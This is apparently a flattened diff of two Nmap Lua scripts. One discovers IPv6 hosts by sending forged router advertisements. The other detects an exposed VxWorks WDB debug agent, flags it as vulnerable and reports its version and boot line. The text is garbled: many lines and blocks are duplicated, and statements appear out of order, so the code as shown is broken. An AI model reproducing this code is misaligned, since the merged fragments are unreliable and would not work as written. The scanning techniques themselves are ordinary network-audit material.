results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
results[actual_addr_str] = true
end
end
end
end
local try = nmap.new_try(catch)
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135")
dnet:ethernet_close()
pcap:pcap_close()
local actual_prefix = string.sub(src_ip6,1,8)
local ula_prefix, prefix_len = get_radom_ula_prefix()
-- preferred_lifetime <= valid_lifetime.
-- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
-- Sometimes it makes sense to regard the several addresses of a host as different hosts, as the host's administrator may apply different firewall configurations on them.
local valid_lifetime = 6
local preferred_lifetime = 6
local probe = packet.Frame:new()
probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
probe.ip_bin_dst = dst_ip6
probe.mac_src = src_mac
probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
local expected_ip6_src = packet.ip6tobin("::")
local expected_ip6_dst_prefix = packet.ip6tobin("ff02::1:0:0")
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local l2reply = packet.Frame:new(layer2)
if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
local reply = packet.Packet:new(layer3)
if reply.ip_bin_src == expected_ip6_src and
string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
local ula_target_addr_str = packet.toipv6(reply.ns_target)
local identifier = get_identifier(reply.ns_target)
--Filter out the reduplicative identifiers.
--A host will send several NS packets with the same interface identifier if it receives several RA packets with different prefix during the discovery phase.
local actual_addr_str = packet.toipv6(actual_prefix .. identifier)
if not results[actual_addr_str] then
if target.ALLOW_NEW_TARGETS then
target.add(actual_addr_str)
end
results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
results[actual_addr_str] = true
end
end
end
end
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
dnet:ethernet_close()
pcap:pcap_close()
condvar("signal")
condvar("signal")
end
local function format_output(results)
local output = tab.new()
local output = tab.new()
for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end
if #results > 0 then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end
return stdnse.format_output(true, output)
end
for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end
if #results > 0 then
output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end
return stdnse.format_output(true, output)
end
end
action = function()
local threads = {}
local results = {}
local condvar = nmap.condvar(results)
local threads = {}
local results = {}
local condvar = nmap.condvar(results)
for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface
if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true
end
end
for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface
if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true
end
end
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
return format_output(results)
return format_output(results)
end

View File

@@ -55,37 +55,37 @@ rpc.RPC_version["wdb"] = { min=1, max=1 }
local WDB_Procedure = {
["WDB_TARGET_PING"] = 0,
["WDB_TARGET_CONNECT"] = 1,
["WDB_TARGET_CONNECT"] = 1,
["WDB_TARGET_DISCONNECT"] = 2,
["WDB_TARGET_MODE_SET"] = 3,
["WDB_TARGET_MODE_GET"] = 4,
}
local function checksum(data)
local sum = 0
local p = 0
local _
p, _ = bin.unpack(">I", data)
while p < data:len() do
local c
p, c = bin.unpack(">S", data, p)
sum = sum + c
end
sum = bit.band(sum, 0xffff) + bit.rshift(sum, 16)
return bit.bnot( sum )
local sum = 0
local p = 0
local _
p, _ = bin.unpack(">I", data)
while p < data:len() do
local c
p, c = bin.unpack(">S", data, p)
sum = sum + c
end
sum = bit.band(sum, 0xffff) + bit.rshift(sum, 16)
return bit.bnot( sum )
end
local seqnum = 0
local function seqno()
seqnum = seqnum + 1
return seqnum
seqnum = seqnum + 1
return seqnum
end
local function request(comm, procedure, data)
local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil )
local wdbwrapper = bin.pack( ">I2", data:len() + packet:len() + 8, seqno() )
local sum = checksum(packet..bin.pack(">I", 0x00000000)..wdbwrapper..data)
return packet .. bin.pack(">S2", 0xffff, sum) .. wdbwrapper .. data
local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil )
local wdbwrapper = bin.pack( ">I2", data:len() + packet:len() + 8, seqno() )
local sum = checksum(packet..bin.pack(">I", 0x00000000)..wdbwrapper..data)
return packet .. bin.pack(">S2", 0xffff, sum) .. wdbwrapper .. data
end
local function stripnull(str)
@@ -97,139 +97,139 @@ local function stripnull(str)
end
local function decode_reply(data, pos)
local wdberr, len
local done = data:len()
local info = {}
local _
pos, _ = rpc.Util.unmarshall_uint32(data, pos)
pos, _ = rpc.Util.unmarshall_uint32(data, pos)
pos, wdberr = rpc.Util.unmarshall_uint32(data, pos)
info["error"] = bit.band(wdberr, 0xc0000000)
if (info["error"] ~= 0x00000000 ) then
stdnse.print_debug(1,"Error from decode_reply: %x", info["error"])
return nil, info
end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end
if (len ~= 0) then
pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos)
info["rt_has_fpp"] = ( len ~= 0 )
pos, len = rpc.Util.unmarshall_uint32(data, pos)
info["rt_has_wp"] = ( len ~= 0 )
pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
if (pos == done) then return pos, info end
pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end
pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end
pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
info["rt_regions"] = {}
for i = 1, len do
pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos)
end
end
if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len == nil) then return pos, info end
if (len ~= 0) then
pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
return pos, info
local wdberr, len
local done = data:len()
local info = {}
local _
pos, _ = rpc.Util.unmarshall_uint32(data, pos)
pos, _ = rpc.Util.unmarshall_uint32(data, pos)
pos, wdberr = rpc.Util.unmarshall_uint32(data, pos)
info["error"] = bit.band(wdberr, 0xc0000000)
if (info["error"] ~= 0x00000000 ) then
stdnse.print_debug(1,"Error from decode_reply: %x", info["error"])
return nil, info
end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end
if (len ~= 0) then
pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos)
info["rt_has_fpp"] = ( len ~= 0 )
pos, len = rpc.Util.unmarshall_uint32(data, pos)
info["rt_has_wp"] = ( len ~= 0 )
pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
if (pos == done) then return pos, info end
pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end
pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end
pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
info["rt_regions"] = {}
for i = 1, len do
pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos)
end
end
if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len == nil) then return pos, info end
if (len ~= 0) then
pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then
pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end
return pos, info
end
action = function(host, port)
local comm = rpc.Comm:new("wdb", 1)
local status, err, data, pos, header
local info = {}
status, err = comm:Connect(host, port)
if (not(status)) then
return stdnse.format_output(false, err)
end
comm.socket:set_timeout(3000)
local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
if (not(comm:SendPacket(packet))) then
return stdnse.format_output(false, "Failed to send request")
end
local comm = rpc.Comm:new("wdb", 1)
local status, err, data, pos, header
local info = {}
status, err = comm:Connect(host, port)
if (not(status)) then
return stdnse.format_output(false, err)
end
comm.socket:set_timeout(3000)
local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
if (not(comm:SendPacket(packet))) then
return stdnse.format_output(false, "Failed to send request")
end
status, data = comm:ReceivePacket()
if (not(status)) then
--return stdnse.format_output(false, "Failed to read data")
return nil
end
nmap.set_port_state(host, port, "open")
status, data = comm:ReceivePacket()
if (not(status)) then
--return stdnse.format_output(false, "Failed to read data")
return nil
end
nmap.set_port_state(host, port, "open")
pos = 0
pos, header = comm:DecodeHeader(data, pos)
if not header then
return stdnse.format_output(false, "Failed to decode header")
end
pos = 0
pos, header = comm:DecodeHeader(data, pos)
if not header then
return stdnse.format_output(false, "Failed to decode header")
end
if ( pos == data:len() ) then
return stdnse.format_output(false, "No WDB data in reply")
end
if ( pos == data:len() ) then
return stdnse.format_output(false, "No WDB data in reply")
end
pos, info = decode_reply(data, pos)
if not pos then
return stdnse.format_output(false, "WDB error: "..info.error)
end
port.version.name = "wdb"
port.version.name_confidence = 10
port.version.product = "Wind DeBug Agent"
port.version.version = stripnull(info["agent_ver"])
if (port.version.ostype ~= nil) then
port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"])
end
nmap.set_port_version(host, port)
pos, info = decode_reply(data, pos)
if not pos then
return stdnse.format_output(false, "WDB error: "..info.error)
end
port.version.name = "wdb"
port.version.name_confidence = 10
port.version.product = "Wind DeBug Agent"
port.version.version = stripnull(info["agent_ver"])
if (port.version.ostype ~= nil) then
port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"])
end
nmap.set_port_version(host, port)
-- Clean up (some agents will continue to send data until we disconnect)
packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
if (not(comm:SendPacket(packet))) then
return stdnse.format_output(false, "Failed to send request")
end
packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
if (not(comm:SendPacket(packet))) then
return stdnse.format_output(false, "Failed to send request")
end
local o = stdnse.output_table()
table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332")
if (info.agent_ver) then
o["Agent version"] = stripnull(info.agent_ver)
end
--table.insert(o, "Agent MTU: " .. info.agent_mtu)
if (info.rt_vers) then
o["VxWorks version"] = stripnull(info.rt_vers)
end
-- rt_cpu_type is an enum type, but I don't have access to
-- cputypes.h, where it is defined
--table.insert(o, "CPU Type: " .. info.rt_cpu_type)
if (info.rt_bsp_name) then
o["Board Support Package"] = stripnull(info.rt_bsp_name)
end
if (info.rt_bootline) then
o["Boot line"] = stripnull(info.rt_bootline)
end
return o
local o = stdnse.output_table()
table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332")
if (info.agent_ver) then
o["Agent version"] = stripnull(info.agent_ver)
end
--table.insert(o, "Agent MTU: " .. info.agent_mtu)
if (info.rt_vers) then
o["VxWorks version"] = stripnull(info.rt_vers)
end
-- rt_cpu_type is an enum type, but I don't have access to
-- cputypes.h, where it is defined
--table.insert(o, "CPU Type: " .. info.rt_cpu_type)
if (info.rt_bsp_name) then
o["Board Support Package"] = stripnull(info.rt_bsp_name)
end
if (info.rt_bootline) then
o["Boot line"] = stripnull(info.rt_bootline)
end
return o
end